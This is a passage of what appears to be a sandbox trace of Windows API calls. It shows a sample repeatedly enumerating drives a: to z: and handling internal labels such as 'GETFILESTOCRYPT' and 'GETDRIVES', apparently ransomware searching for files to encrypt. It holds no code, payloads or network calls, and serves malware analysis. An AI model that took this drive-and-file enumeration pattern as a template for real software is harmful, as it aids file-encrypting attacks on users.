hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.649] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.649] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.649] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.649] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.649] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.649] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.650] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.650] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.650] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.650] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.650] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.650] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.650] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.650] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.650] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.650] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.650] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.650] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.650] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.651] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.651] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.651] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.651] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.651] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.651] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.651] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.651] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.652] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.652] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.652] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.652] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.652] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.652] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.652] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.652] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.653] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0086.653] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.653] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.653] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.653] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.653] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.653] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.654] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.654] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.654] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.654] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.654] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.654] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.654] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.654] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.654] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.654] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.654] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.654] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.654] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.655] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.655] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.655] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.655] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.655] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.655] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.655] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.655] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.655] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.655] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.656] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.656] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.656] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.656] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.656] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.657] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.657] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.657] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.657] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.657] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.657] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.658] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.658] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0086.658] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.658] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.658] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.658] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.658] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.658] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.659] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.659] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.659] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.659] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.659] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.659] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.659] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.659] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.659] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.659] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.659] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.659] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.659] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.659] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.659] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.659] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.659] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.660] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.660] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.661] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.662] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.662] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0086.662] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.662] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.662] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.662] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.662] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.662] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.663] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.663] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.663] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.663] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.663] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.663] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.663] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.663] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.663] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.663] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.663] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.663] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.663] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.663] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.663] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.664] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.664] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.665] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.666] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.666] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0086.666] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.666] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.666] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.666] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.666] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.666] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.666] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.667] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.667] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.667] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.667] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.667] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.667] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.667] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.667] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.667] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.667] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.667] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.667] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.667] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.667] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.667] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.668] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.668] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.669] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.670] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0086.670] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.670] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.670] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.670] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.670] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.670] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.670] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.670] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.671] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.671] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.671] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.671] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.671] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.671] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.671] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.671] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.671] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.671] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.671] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.671] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.671] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.671] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.671] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.671] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.672] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.673] GetDriveTypeW (lpRootPathName="v:\\") 